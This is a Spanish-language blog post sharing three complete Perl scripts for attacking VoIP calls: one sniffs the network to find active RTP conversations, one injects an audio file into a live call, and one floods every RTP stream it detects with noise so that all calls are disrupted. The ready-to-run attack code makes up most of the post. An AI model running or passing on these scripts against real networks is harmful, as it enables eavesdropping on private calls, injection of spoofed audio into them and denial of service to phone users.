Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme) y bueno, esta vez toca hablar sobre VoIP.
No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.
Haciendo uso de las RTPtools (http://www.cs.columbia.edu/irt/software/rtptools/) y de un sniffer de remote-exploit.org (http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.
En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.
Comencemos …
rtpscan.pl es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:
#!/usr/bin/perl # Pepelux <pepelux[at]gmail[dot]com> # # based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz use strict; use Net::Pcap; use Getopt::Long; my @src; my @dst; # Do no buffering - flushing output directly $|=1; #declaration of functions sub f_probe_pcapinit; sub f_probe_read80211b_func; sub f_probe_ctrl_c; # Declarations of global variables my $g_pcap_err = ''; my $interface=''; my $g_cap_descrip; # Trapping Signal "INT" like ctrl+c for cleanup first. $SIG{INT} = \&f_probe_ctrl_c; sub init() { if ($^O =~ /Win/) {system("cls");}else{system("clear");} # check params my $result = GetOptions ("i=s" => \$interface); help() if ($interface eq ""); f_probe_pcapinit; } sub f_probe_pcapinit{ if ($g_cap_descrip = Net::Pcap::open_live($interface,2000,0,1000,\$g_pcap_err)) { # Initiate endless packet gathering. Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' ); } else { print "\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n"; exit; } }; sub f_probe_read80211b_func { my($data, $header, $packet) = @_; $data = unpack ('H*',$packet); if (isrtp($data) && proto($data) eq "17") { my $new = 1; my $codec = codec($data); my $ipsrc = ipsrc($data); my $ipdst = ipdst($data); my $portsrc = portsrc($data); my $portdst = portdst($data); for (my $i = 0; $i <= $#src; $i++) { $new = 0 if (($src[$i] eq $ipsrc.":".$portsrc) && ($dst[$i] eq $ipdst.":".$portdst)); $new = 0 if (($src[$i] eq $ipdst.":".$portdst) && ($dst[$i] eq $ipsrc.":".$portsrc)); } if ($new eq 1) { print "Protocol: UDP\n"; print "Codec : GSM\n" if ($codec eq "3"); print "Codec : G.711 (u-law)\n" if ($codec eq "0"); print "Codec : G.711 (a-law)\n" if ($codec eq "201" || $codec eq "136"); print "Codec : Speex\n" if ($codec eq "225"); print "Codec : $codec (desconocido)\n" if ($codec ne "0" && $codec ne "3" && $codec ne "201" && $codec ne "136" && $codec ne "225"); print "IP 1 : $ipsrc:$portsrc\n"; print "IP 2 : $ipdst:$portdst\n"; push @src, $ipsrc.":".$portsrc; push @dst, $ipdst.":".$portdst; } } }; sub ipsrc { my $data = shift; $data = substr($data, 52, 8); my $v1 = hex(substr($data, 0 , 2)); my $v2 = hex(substr($data, 2 , 2)); my $v3 = hex(substr($data, 4 , 2)); my $v4 = hex(substr($data, 6 , 2)); return $v1.".".$v2.".".$v3.".".$v4; }; sub ipdst { my $data = shift; $data = substr($data, 60, 8); my $v1 = hex(substr($data, 0 , 2)); my $v2 = hex(substr($data, 2 , 2)); my $v3 = hex(substr($data, 4 , 2)); my $v4 = hex(substr($data, 6 , 2)); return $v1.".".$v2.".".$v3.".".$v4; }; sub portsrc { my $data = shift; $data = substr($data, 68, 4); return hex($data); }; sub portdst { my $data = shift; $data = substr($data, 72, 4); return hex($data); }; sub proto { my $data = shift; $data = substr($data, 46, 2); return hex($data); }; sub isrtp { my $data = shift; $data = substr($data, 84, 2); return 1 if ($data eq "80"); return 0; }; sub codec { my $data = shift; $data = substr($data, 86, 2); return hex($data); }; sub f_probe_ctrl_c { # Checks if there is a open pcap handle and closes it first. if ($g_cap_descrip) { Net::Pcap::close ($g_cap_descrip); print "\nClosed the pcap allready, the program exits now.\n"; } }; sub help { print qq{ Usage: $0 -i <interface> }; exit 1; } init();
rtpsend.pl es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con rtpscan.pl):
#!/usr/bin/perl # rtptools: http://www.cs.columbia.edu/irt/software/rtptools/ use Net::RTP; use Time::HiRes qw/ usleep /; use strict; my $DEFAULT_PORT = 5004; # Default RTP port my $DEFAULT_TTL = 2; # Default Time-to-live my $PAYLOAD_TYPE = 0; # u-law my $PAYLOAD_SIZE = 160; # 160 samples per packet # Get the command line parameters my ($filename, $address, $port, $ttl ) = @ARGV; usage() unless (defined $filename); usage() unless (defined $address); $port=$DEFAULT_PORT unless (defined $port); $ttl=$DEFAULT_TTL unless (defined $ttl); print "Input Filename: $filename\n"; print "Remote Address: $address\n"; print "Remote Port: $port\n"; print "Multicast TTL: $ttl\n"; print "Payload type: $PAYLOAD_TYPE\n"; print "Payload size: $PAYLOAD_SIZE bytes\n"; # Create RTP socket my $rtp = new Net::RTP( PeerPort=>$port, PeerAddr=>$address, ) || die "Failed to create RTP socket: $!"; # Set the TTL if ($rtp->superclass() =~ /Multicast/) { $rtp->mcast_ttl( $ttl ); } # Create RTP packet my $packet = new Net::RTP::Packet(); $packet->payload_type( $PAYLOAD_TYPE ); while(1) { # Open the input file (via sox) open(PCMU, "sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |") or die "Failed to open input file: $!"; my $data; while( my $read = read( PCMU, $data, $PAYLOAD_SIZE ) ) { # Set payload, and increment sequence number and timestamp $packet->payload($data); $packet->seq_num_increment(); $packet->timestamp_increment( $PAYLOAD_SIZE ); my $sent = $rtp->send( $packet ); #print "Sent $sent bytes.\n"; # This isn't a very good way of timing it # but it kinda works usleep( 1000000 * $PAYLOAD_SIZE / 8000 ); } close( PCMU ); } sub usage { print "usage: rtpsend.pl <filename> <dest_addr> [<dest_port>] [<ttl>]\n"; exit -1; }
Y rtpflood.pl es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:
#!/usr/bin/perl # Pepelux <pepelux[at]gmail[dot]com> # # based in rtptools: http://www.cs.columbia.edu/irt/software/rtptools/ # and # remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz use strict; use Net::Pcap; use threads; use threads::shared; use Net::RTP; use Time::HiRes qw/ usleep /; use Getopt::Long; my @src; my @dst; my $PAYLOAD_SIZE = 160; my $ttl = 2; my $maxthreads = 300; my $threads : shared = 0; my $interface = ''; my $v = 0; my $g_pcap_err = ''; my $g_cap_descrip; sub init() { if ($^O =~ /Win/) {system("cls");}else{system("clear");} # check params my $result = GetOptions ("i=s" => \$interface, "v+" => \$v); help() if ($interface eq ""); if ($g_cap_descrip = Net::Pcap::open_live($interface, 2000, 0, 1000, \$g_pcap_err)) { Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' ); } else { print "\nCould not initiating the interface: $interface.\nError: $g_pcap_err."; print "\nAre you root?\n"; exit; } } sub f_probe_read80211b_func { my($data, $header, $packet) = @_; $data = unpack ('H*',$packet); if (isrtp($data) && proto($data) eq "17") { my $codec = codec($data); my $ipsrc = ipsrc($data); my $ipdst = ipdst($data); my $portsrc = portsrc($data); my $portdst = portdst($data); if ($threads <= $maxthreads) { my $thr = threads->new(\&flood, $ipsrc, $portsrc, $codec); $thr->detach(); $thr = threads->new(\&flood, $ipdst, $portdst, $codec); $thr->detach(); } } }; sub flood { my $address = shift; my $port = shift; my $payload = shift; {lock($threads);$threads++;} if ($v eq "1") { print "Flooding host: $address \tPort: $port/UDP \tCodec: "; print "GSM \n" if ($payload eq "3"); print "G.711 \n" if ($payload eq "0"); } # Create RTP socket my $rtp = new Net::RTP( PeerPort=>$port, PeerAddr=>$address, ) || die "Failed to create RTP socket: $!"; # Set the TTL if ($rtp->superclass() =~ /Multicast/) { $rtp->mcast_ttl( $ttl ); } # Create RTP packet my $packet = new Net::RTP::Packet(); $packet->payload_type( $payload ); for (my $i = 0; $i < 100; $i++) { my $data; for (my $i = 0; $i < $PAYLOAD_SIZE; $i++) { my $rnd = rand(255); $data .= hex($rnd); } $packet->payload($data); $packet->seq_num_increment(); $packet->timestamp_increment( $PAYLOAD_SIZE ); $rtp->send( $packet ); close( PCMU ); } {lock($threads);$threads--;} } sub ipsrc { my $data = shift; $data = substr($data, 52, 8); my $v1 = hex(substr($data, 0 , 2)); my $v2 = hex(substr($data, 2 , 2)); my $v3 = hex(substr($data, 4 , 2)); my $v4 = hex(substr($data, 6 , 2)); return $v1.".".$v2.".".$v3.".".$v4; }; sub ipdst { my $data = shift; $data = substr($data, 60, 8); my $v1 = hex(substr($data, 0 , 2)); my $v2 = hex(substr($data, 2 , 2)); my $v3 = hex(substr($data, 4 , 2)); my $v4 = hex(substr($data, 6 , 2)); return $v1.".".$v2.".".$v3.".".$v4; }; sub portsrc { my $data = shift; $data = substr($data, 68, 4); return hex($data); }; sub portdst { my $data = shift; $data = substr($data, 72, 4); return hex($data); }; sub proto { my $data = shift; $data = substr($data, 46, 2); return hex($data); }; sub isrtp { my $data = shift; $data = substr($data, 84, 2); return 1 if ($data eq "80"); return 0; }; sub codec { my $data = shift; $data = substr($data, 86, 2); return hex($data); }; sub help { print qq{ Usage: $0 -i <interface> [options] == Options == -v = Verbose mode == Examples == \$$0 -i eth0 \$$0 -i wlan0 -v }; exit 1; } init();
El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.
Saludos